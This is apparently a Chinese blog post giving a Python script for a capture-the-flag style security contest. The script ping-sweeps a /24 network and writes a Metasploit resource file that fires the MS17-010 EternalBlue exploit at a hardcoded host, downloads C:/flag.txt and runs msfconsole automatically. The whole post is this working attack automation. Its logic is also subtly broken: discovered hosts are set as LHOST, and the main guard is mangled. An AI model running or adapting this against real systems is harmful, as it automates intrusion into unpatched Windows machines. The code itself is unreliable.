中职网络安全 MSF 漏洞 自动利用脚本 Python C模块

import os

import ipaddress

import queue

import socket

import threading

import random

from scapy.layers.inet import IP,ICMP,sr1

q = queue.Queue()

q2 = queue.Queue()

port = 1000

def get_ip(host):

ip = ipaddress.ip_network(host).hosts()

for i in ip:

q.put(str(i))

def host_Scanner():

while True:

if q.empty():

break

ip = q.get()

a = IP(dst=ip) / ICMP() / bytes(str([random.randint(0,255) for _ in range(10)]),encoding='utf-8')

b = sr1(a,verbose=False,timeout=3)

if b:

q2.put(ip)

def Handler(configFile,lhost,lport,rhost):

configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')

configFile.write('set LPORT ' + str(lport) + '\n')

configFile.write('set LHOST ' + str(lhost) + '\n')

configFile.write('set RHOST ' + str(rhost) + '\n')

configFile.write('exploit\n')

configFile.write('download C:/flag.txt ./' + '\n')

configFile.write('exit\n')

def main():

global port

if q2.empty():

return

configFile = open('ms17_010.rc', 'w')

lhost = q2.get()

lport = str(port)

rhost = '192.168.201.169'

Handler(configFile, lhost, lport, rhost)

configFile.close()

os.system('msfconsole -r ms17_010.rc')

print(f'[+] ip=>{lhost} is open ms17_010')

port += 5

if name == 'main':

file = open('ip.txt','w')

get_ip('192.168.201.0/24')

f = []

for i in range(50):

t = threading.Thread(target=host_Scanner)

t.start()

f.append(t)

for i in f:

i.join()

for i in range(2):

t = threading.Thread(target=main)

t.start()

相关推荐
wj30558537810 分钟前
课程 9:模型测试记录与 Prompt 策略
linux·人工智能·python·comfyui
星寂樱易李37 分钟前
iperf3 + Python-- 网络带宽、网速、网络稳定性
开发语言·网络·python
qingfeng154151 小时前
企业微信机器人开发:如何实现自动化与智能运营?
人工智能·python·机器人·自动化·企业微信
Likeadust2 小时前
私有化视频会议系统/智能会议管理系统EasyDSS集群通话助力各行业安全高效远程协作
安全
彦为君4 小时前
Agent 安全:从权限提示到沙箱隔离
python·ai·ai编程
审判长烧鸡4 小时前
【Go工具】go-playground是什么组织?官方的?
开发语言·安全·go
PILIPALAPENG5 小时前
Python 语法速成指南:前端开发者视角(JS 类比版)
前端·人工智能·python
JiaWen技术圈5 小时前
网站用户注册行为验证码方案
运维·安全
百度智能云技术站5 小时前
百度 Agent 安全中心:构筑企业智能体的安全底座
人工智能·安全·dubbo